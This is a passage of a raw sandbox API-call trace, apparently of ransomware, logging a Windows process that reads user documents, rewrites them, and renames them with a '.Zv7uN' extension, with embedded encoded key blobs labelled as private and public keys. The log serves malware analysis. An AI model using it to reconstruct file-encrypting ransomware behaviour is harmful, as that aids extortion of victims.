halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\_ kjbx69.ppt"), fInfoLevelId=0x0, lpFileInformation=0x18ee7c | out: lpFileInformation=0x18ee7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e8781b0, ftCreationTime.dwHighDateTime=0x1d5e158, ftLastAccessTime.dwLowDateTime=0xb5f796a0, ftLastAccessTime.dwHighDateTime=0x1d5e22f, ftLastWriteTime.dwLowDateTime=0xb5f796a0, ftLastWriteTime.dwHighDateTime=0x1d5e22f, nFileSizeHigh=0x0, nFileSizeLow=0x1186a)) returned 1 [0088.864] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\_ kJbX69.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\_ kjbx69.ppt")) returned 0x20 [0088.865] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\_ kJbX69.ppt", dwFileAttributes=0x80) returned 1 [0088.867] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0088.867] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0088.869] GetCurrentThreadId () returned 0xa30 [0088.869] GetCurrentThreadId () returned 0xa30 [0088.869] GetCurrentThreadId () returned 0xa30 [0088.869] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0088.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0088.870] GetCurrentThreadId () returned 0xa30 [0088.870] GetCurrentThreadId () returned 0xa30 [0088.870] GetCurrentThreadId () returned 0xa30 [0088.870] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\_ kJbX69.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\_ kjbx69.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.870] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee30*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee30*=0) returned 0x0 [0088.871] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.871] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x1186a [0088.871] SetFilePointer (in: hFile=0x120, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ee28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ee28*=0) returned 0x0 [0088.871] ReadFile (in: hFile=0x120, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0x1186a, lpNumberOfBytesRead=0x18ee3c, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18ee3c*=0x1186a, lpOverlapped=0x0) returned 1 [0088.874] CloseHandle (hObject=0x120) returned 1 [0088.876] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\_ kJbX69.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\_ kjbx69.ppt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120 [0088.881] WriteFile (in: hFile=0x120, lpBuffer=0x1f47ac0*, nNumberOfBytesToWrite=0x1186a, lpNumberOfBytesWritten=0x18ee48, lpOverlapped=0x0 | out: lpBuffer=0x1f47ac0*, lpNumberOfBytesWritten=0x18ee48*=0x1186a, lpOverlapped=0x0) returned 1 [0088.886] CloseHandle (hObject=0x120) returned 1 [0088.886] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\_ kJbX69.ppt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\_ kjbx69.ppt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\_ kJbX69.ppt.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\depx8rtxd\\id3vnokasqb1-\\fmpsaqjlumar\\ulhqktclsuinqm\\_ kjbx69.ppt.zv7un")) returned 1 [0088.887] GetCurrentThreadId () returned 0xa30 [0088.887] GetCurrentThreadId () returned 0xa30 [0088.887] GetCurrentThreadId () returned 0xa30 [0088.887] GetCurrentThreadId () returned 0xa30 [0088.887] GetCurrentThreadId () returned 0xa30 [0088.887] GetCurrentThreadId () returned 0xa30 [0088.887] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x367f0610, ftCreationTime.dwHighDateTime=0x1d5e26b, ftLastAccessTime.dwLowDateTime=0xbcebdad0, ftLastAccessTime.dwHighDateTime=0x1d5dd0b, ftLastWriteTime.dwLowDateTime=0xbcebdad0, ftLastWriteTime.dwHighDateTime=0x1d5dd0b, nFileSizeHigh=0x0, nFileSizeLow=0xe226, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_XVFyuqaJA4MHES.odt", cAlternateFileName="_XVFYU~1.ODT")) returned 1 [0088.887] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.887] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.887] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x367f0610, ftCreationTime.dwHighDateTime=0x1d5e26b, ftLastAccessTime.dwLowDateTime=0xbcebdad0, ftLastAccessTime.dwHighDateTime=0x1d5dd0b, ftLastWriteTime.dwLowDateTime=0xbcebdad0, ftLastWriteTime.dwHighDateTime=0x1d5dd0b, nFileSizeHigh=0x0, nFileSizeLow=0xe226, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="_XVFyuqaJA4MHES.odt", cAlternateFileName="_XVFYU~1.ODT")) returned 0 [0088.887] GetLastError () returned 0x12 [0088.888] FindClose (in: hFindFile=0x6aa100 | out: hFindFile=0x6aa100) returned 1 [0088.888] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\dePX8rTxd\\Id3VnokaSQb1-\\FmpsaQJLUMaR\\UlHqKtcLSUiNQM\\*.*", lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x589197f0, ftCreationTime.dwHighDateTime=0x1d5e562, ftLastAccessTime.dwLowDateTime=0x52de3ae0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52de3ae0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa100 [0088.888] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eeec | out: lpLocalFileTime=0x18eeec) returned 1 [0088.888] FileTimeToDosDateTime (in: lpFileTime=0x18eeec, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x589197f0, ftCreationTime.dwHighDateTime=0x1d5e562, ftLastAccessTime.dwLowDateTime=0x52de3ae0, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x52de3ae0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0088.888] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.888] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9170280, ftCreationTime.dwHighDateTime=0x1d5e209, ftLastAccessTime.dwLowDateTime=0xc5335960, ftLastAccessTime.dwHighDateTime=0x1d5e0ef, ftLastWriteTime.dwLowDateTime=0x52d716c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x113a8, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="osnW47dF.pptx.Zv7uN", cAlternateFileName="OSNW47~1.ZV7")) returned 1 [0088.888] FileTimeToLocalFileTime (in: lpFileTime=0x18ef88, lpLocalFileTime=0x18eee8 | out: lpLocalFileTime=0x18eee8) returned 1 [0088.888] FileTimeToDosDateTime (in: lpFileTime=0x18eee8, lpFatDate=0x18ef56, lpFatTime=0x18ef54 | out: lpFatDate=0x18ef56, lpFatTime=0x18ef54) returned 1 [0088.888] FindNextFileW (in: hFindFile=0x6aa100, lpFindFileData=0x18ef74 | out: lpFindFileData=0x18ef74*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa73b5530, 